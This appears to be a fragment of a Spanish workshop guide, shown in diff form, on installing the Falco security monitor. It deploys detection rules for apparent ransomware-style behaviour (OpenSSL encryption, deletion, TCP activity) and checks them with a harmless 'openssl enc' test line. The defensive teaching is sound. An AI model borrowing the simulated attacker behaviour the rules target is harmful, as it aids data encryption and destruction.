|
||||||
|
```bash
|
||||||
|
sudo rpm --import \
|
||||||
|
https://falco.org/repo/falcosecurity-packages.asc
|
||||||
|
|
||||||
|
sudo curl -o /etc/yum.repos.d/falcosecurity.repo \
|
||||||
|
https://falco.org/repo/falcosecurity-rpm.repo
|
||||||
|
|
||||||
|
sudo yum update -y
|
||||||
|
sudo yum install -y dialog
|
||||||
|
sudo yum install -y falco
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Desplegar las reglas QueComanTierra
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Clonar el repositorio del taller
|
||||||
|
git clone https://git.resacachile.cl/anti/workshops /opt/workshops
|
||||||
|
|
||||||
|
# Copiar reglas al directorio de Falco
|
||||||
|
cp /opt/workshops/QueComanTierra/detection/falco_rules.yaml \
|
||||||
|
/etc/falco/rules.d/tarssl.yaml
|
||||||
|
|
||||||
|
# Recargar todos los servicios de Falco
|
||||||
|
systemctl restart falco-* --all
|
||||||
|
```
|
||||||
|
|
||||||
|
Las reglas viven en `/etc/falco/rules.d/`. Falco las carga automáticamente sin tocar la config base.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Verificar que las reglas están activas
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Ver reglas cargadas
|
||||||
|
falco --list | grep -E "OpenSSL|TCP|Deletion|Encrypted"
|
||||||
|
|
||||||
|
# Ver logs en tiempo real
|
||||||
|
journalctl -fu falco
|
||||||
|
|
||||||
|
# Probar: lanzar openssl enc desde bash
|
||||||
|
echo "test" | openssl enc -aes-256-cbc -pass pass:test -pbkdf2
|
||||||
|
# → Debe aparecer WARNING en journalctl
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Prevención: backups inmutables
|
## Prevención: backups inmutables
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
|
|||||||
Reference in New Issue
Block a user